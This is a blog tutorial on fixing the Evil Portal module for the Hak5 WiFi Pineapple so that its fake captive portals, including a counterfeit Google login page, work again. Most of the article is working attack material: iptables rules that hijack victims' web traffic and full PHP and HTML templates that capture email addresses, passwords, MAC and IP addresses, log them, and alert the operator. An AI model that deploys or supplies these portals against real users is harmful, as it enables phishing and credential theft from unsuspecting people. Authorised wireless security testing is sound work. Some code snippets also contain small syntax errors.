VnutZ Domain
Copyright © 1996 - 2024 [Matthew Vea] - All Rights Reserved

2019-09-23
Featured Article

Fixing Examples for Evil Portal 3.2 on Hak5 Pineapple

[index] [7,378 page views]
Tagged As: Hacking, Pineapple, Privacy, and Security

The Pineapple Tetra by Hak5 is a handy tool for WiFi exploitation. It features an easy API allowing 3rd party developers to create plug-in modules to expand on the Pineapple's functionality. One of the popular combinations is to utilize the native PineAP in conjunction with installating the Evil Portal module. With the PineAP module broadcasting from a selected pool of SSIDs and responding to client beacons, the Pineapple will associate unsuspecting victims to itself whereupon the Evil Portal will present a configurable "captive portal" offering Internet access based on their Single-Sign-On (FB, Google, etc.) login. Of course, as time marches on, version updates are released, and repositories get stale which leads to things not working anymore - particularly a popular "fake Google login" captive portal.

An example of fake captive portal by kbeflo.

If your Pineapple is not already configured, utilize the following links to get a baseline:

Hak5 released a new firmware (version 2.6.1) for the Pineapple Tetra on 31 August 2019 (EDIT: now version 2.7.0 from March 2020). The last commit to version 3.2 of the Evil Portal module from FrozenJava was six months ago. The collection of portals from kbeflo was last updated four months ago, but many were no longer compatible with the current Evil Portal module. Getting them to work again only requires a few small changes.

Fix EvilPortal Autostart

The autostart script for EvilPortal is missing the iptables entries for https traffic on port 443. It's not a showstopper but has two ramifications. 1) The manual start and stop toggles on the UI will fail because they attempt to remove the https entry which doesn't exist. 2) Anyone browsing https will not see the capture portal. The fix is super easy and only requires adding two lines to /pineapple/modules/EvilPortal/includes/evilportal.sh:

Add the green lines:


#!/bin/sh /etc/rc.common

# This is the auto-start script for EvilPortal

START=200

start() {
    # Enable ip forward.
    echo 1 > /proc/sys/net/ipv4/ip_forward
    # Create symlink
    ln -s /pineapple/modules/EvilPortal/includes/api /www/captiveportal
    # Run iptables commands
    iptables -t nat -A PREROUTING -s 172.16.42.0/24 -p tcp --dport 80 -j DNAT --to-destination 172.16.42.1:80
    iptables -t nat -A PREROUTING -s 172.16.42.0/24 -p tcp --dport 443 -j DNAT --to-destination 172.16.42.1:80
    iptables -A INPUT -p tcp --dport 53 -j ACCEPT
}

stop() {
    rm /www/captiveportal
    iptables -t nat -D PREROUTING -s 172.16.42.0/24 -p tcp --dport 80 -j DNAT --to-destination 172.16.42.1:80
    iptables -t nat -D PREROUTING -s 172.16.42.0/24 -p tcp --dport 443 -j DNAT --to-destination 172.16.42.1:80
    iptables -D INPUT -p tcp --dport 53 -j ACCEPT
    iptables -D INPUT -j DROP
}

disable() {
    rm /etc/rc.d/*evilportal
}

Fix the Portals

This quick guide will focus on the Google-Login portal, but the methods are applicable across the other provided samples from the GitHub repository. There are two recommended changes to index.php. The first is to have an additional POST parameter to use later. Locate the form input for target and replace the fixed string with the $destination variable.

Change:


<input type="hidden" name="target" value="https://accounts.google.com/signin">

To:


<input type="hidden" name="target" value="$destination">

The second is to get rid of the javascript redirection. There's nothing necessarily wrong with it, but sometimes the function call as an action on form submission results in an immediate GET meaning the browser doesn't receive the 302 redirect response to the POST submission. Just watch in Wireshark and you'll see the calls one after another.

Delete:


<script type="text/javascript">
  function redirect() {
    setTimeout(function() {
      window.location = "/captiveportal/index.php";
    }, 100);
  }
</script>

Change:


<form method="POST" action="/captiveportal/index.php" onsubmit="redirect()">

To:


<form method="POST" action="/captiveportal/index.php">

The MyPortal.php file requires more changes, but they are very simple. In a nutshell, you will remove all the code related to detecting an output directory and change the file write call to utilize a new function provided by FrozenJava for logging directly into the portal's path on the Hak5 Pineapple.

Delete:


    	  $dirs = array(
            '/root/', 
            '/sd/',
        );
        $dirs = array_filter($dirs, 'file_exists');
        $dirs = array_filter($dirs, 'is_writeable');
        if (empty($dirs)) {
            die("die");
        }
        $dir = array_pop($dirs);
        $want = $dir . DIRECTORY_SEPARATOR . 'evilportal-logs';
        if (file_exists($want)) {
        } 
        else {
            mkdir($want);
        }
        if (!file_exists($want)) {
        }
        if (!is_dir($want)) {
        }
        if (!is_writeable($want)) {
        }
        $want .= DIRECTORY_SEPARATOR;

Then add this little line to make sure you can access the POST parameter added to the form.

Add:


        $target = isset($_POST['target']) ? $_POST['target'] : 'target';

After deleting all that now unnecessary code for path detection and adding the line to capture the URL, two more changes will fix the logging and notifications. The file_put_contents() will be replaced by the provided $this->writeLog("") function. It's recommended to add an extra string to record the URL the user was attempting to access into the log. Replace the $this->execBackground() functions with $this->notify("") in order to get in-browser notifications on the Pineapple's dashboard.

Change:


        file_put_contents("$dir/evilportal-logs/google-login.txt",
                          "[" . date('Y-m-d H:i:s') . "Z]\n" . 
                          "email: {$email}\n
                          password: {$pwd}\n
                          hostname: {$hostname}\n
                          mac: {$mac}\n
                          ip: {$ip}\n\n", 
                          FILE_APPEND);
        $this->execBackground("notify $email' - '$pwd");
        $this->execBackground("writeLog $email' - '$pwd");

To:


        $this->writeLog("[" . date('Y-m-d H:i:s') . "Z]\n" .
                        "email: {$email}\n
                        password: {$pwd}\n
                        hostname: {$hostname}\n
                        mac: {$mac}\n
                        ip: {$ip}\n
                        URL: {$target}\n\n");
        $this->notify("[creds] {$email} - {$pwd}");

Now, generally speaking, the portal is updated and works. The captive portal will display, capture the credentials, and make the backend iptalbes rules to now allow the user access again. But sometimes, the redirection to their originally intended page still doesn't work.

Now, the redirection is normally handled by the parent class in /pineapple/modules/EvilPortal/includes/api/Portal.php. The problem is that in many cases, for whatever reason, the value in $this->request->target is not set causing the logic branch to fail. Or, the value reflects /captiveportal/index.php which was the form destination, meaning the portal gets reloaded instead of the intended webpage. Basically, this results in the function to redirect either never getting called, getting called without definition, or getting called back to the portal anyway.


    /**
     * Handle client authorization here.
     * By default it just checks that the redirection target is in the request.
     * Override this to perform your own validation.
     */
    protected function handleAuthorization()
    {
        if (isset($this->request->target)) {
            $this->authorizeClient($_SERVER['REMOTE_ADDR']);
            $this->onSuccess();
            $this->redirect();
        } elseif ($this->isClientAuthorized($_SERVER['REMOTE_ADDR'])) {
            $this->redirect();
        } else {
            $this->showError();
        }
    }
    /**
     * Where to redirect to on successful authorization.
     */
    protected function redirect()
    {
        header("Location: {$this->request->target}", true, 302);
    }

There are a couple of ways to get around this. You can either edit the parent class (above) to accommodate the new variable under your control or you can simply continue overriding the function in the child class and never call the parent.

It's worth fixing the parent class anyway because there is also a logic bug can arise if the Pineapple misbehaves. So long as the redirection is set, if the Captive Portal happens to continue displaying, this logic will continually reauthorize the client over and over again, filling the authorized user log with the same IP address. At least change the conditions to the following:


    protected function handleAuthorization()
    {
        if ($this->isClientAuthorized($_SERVER['REMOTE_ADDR']) and isset($this->request->target)) {
           $this->redirect();
        } elseif (isset($this->request->target) {
            $this->authorizeClient($_SERVER['REMOTE_ADDR']);
            $this->onSuccess();
            $this->redirect();
        } else {
            $this->showError();
        } 
    }

Otherwise, this can be handled in the portal's version of MyPortal.php. Simply comment out the parent::handleAuthorization(); line and then append the following:


        //parent::handleAuthorization();
        if (!$this->isClientAuthorized($ip)) {
             $this->authorizeClient($ip));
        }
        header("Location: {$target}", true, 302);
        die();

What did this just do? If the client was already authorized, the if falls through and simply redirects using the URL sent in the hidden POST field. If the client was not authorized, the appropriate authorizeClient() function is called and then they are redirected. Lastly, the redirection is handled with the php header() function to send a 302 redirect using the known parameter.

Now just activate the fixed portal, start the Evil Portal module, and wait for credentials. The new log can be found in /root/portals/google-login/.logs by connecting to the Pineapple via an SSH shell.

NOTE: Occasional issues still arise from the client caching the webpage despite all the appropriate META tags instructing the page to be reloaded. Nevertheless, the captive portal is working. One option is to take the original author's approach to simply redirect them to a Google login page - the target may just assume they typed their password wrong.



Or.....

... rather than all the line editing, you could simply use these slightly modified combinations of kbeflo's and frozenjava's templates and just wrap the form up into new customized HTML that mimics your target captive portal.

index.php


<?php
$destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
require_once('helper.php');
?>

<html>
  <head>
    <title>Evil Portal</title>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
    <meta http-equiv="Pragma" content="no-cache" />
    <meta http-equiv="Expires" content="-1" />
    <meta name="viewport" content="width=device-width, initial-scale=1">
  </head>

  <body>
    <div style="text-align: center;">
      <h1>Evil Portal</h1>
      <form method="POST" action="/captiveportal/index.php">
        <input type="hidden" name="target" value="<?=$destination?>">
        <input type="hidden" name="ip" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>">
        <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']);?>">
        <input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER['REMOTE_ADDR']);?>">
        <input type="hidden" name="said" value="<?=getClientSSID($_SERVER['REMOTE_ADDR']);?>">
        <input type="text" name="email" value="">
        <input type="password" name="password" value="">
        <button type="submit">Authorize</button>
      </form>
    </div>
  </body>
</html>

MyPortal.php


<?php namespace evilportal;

class MyPortal extends Portal
{

  public function handleAuthorization()
  {
    	
    if (isset($_POST['email'])) {
      $email = isset($_POST['email']) ? $_POST['email'] : 'email';
      $pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
      $hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
      $mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
      $ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
      $target = isset($_POST['target']) ? $_POST['target'] : 'destination';
      $this->writeLog("[" . date('Y-m-d H:i:s') . "Z]\n" . 
                        "email: {$email}\n
                         password: {$pwd}\n
                         hostname: {$hostname}\n
                         mac: {$mac}\n
                         ip: {$ip}\n
                         URL: {$target}\n\n");
      $this->notify("[creds] $email - $pwd");
    }
      // Call parent to handle basic authorization first
        //parent::handleAuthorization();
        if (!$this->isClientAuthorized($ip)) {
             $this->authorizeClient($ip));
        }
        header("Location: {$target}", true, 302);
        die();
  }

    /**
     * Override this to do something when the client is successfully authorized.
     * By default it just notifies the Web UI.
     */
    public function onSuccess()
    {
        // Calls default success message
        parent::onSuccess();
    }

    /**
     * If an error occurs then do something here.
     * Override to provide your own functionality.
     */
    public function showError()
    {
        // Calls default error message
        parent::showError();
    }
}

But Did It Work?

Obviously receiving a notification of captured credentials are a positive indicator that your captive portal worked. But these days, most people don't necessarily fall for the trick so its hard to tell if the captive portal is even being delivered. For detecting whether or not the captive portal is rendered on-screen, check out the follow-up article on how to get measures of performance.



More site content that might interest you:

Fighting a peer nation-state adversary is NOT the same as the COIN fight of the past two decades.


Try your hand at fate and use the site's continuously updating statistical analysis of the MegaMillions and PowerBall lotteries to choose "smarter" number. Remember, you don't have to win the jackpot to win money from the lottery!


Tired of social media sites mining all your data? Try a private, auto-deleting message bulletin board.


paypal coinbase marcus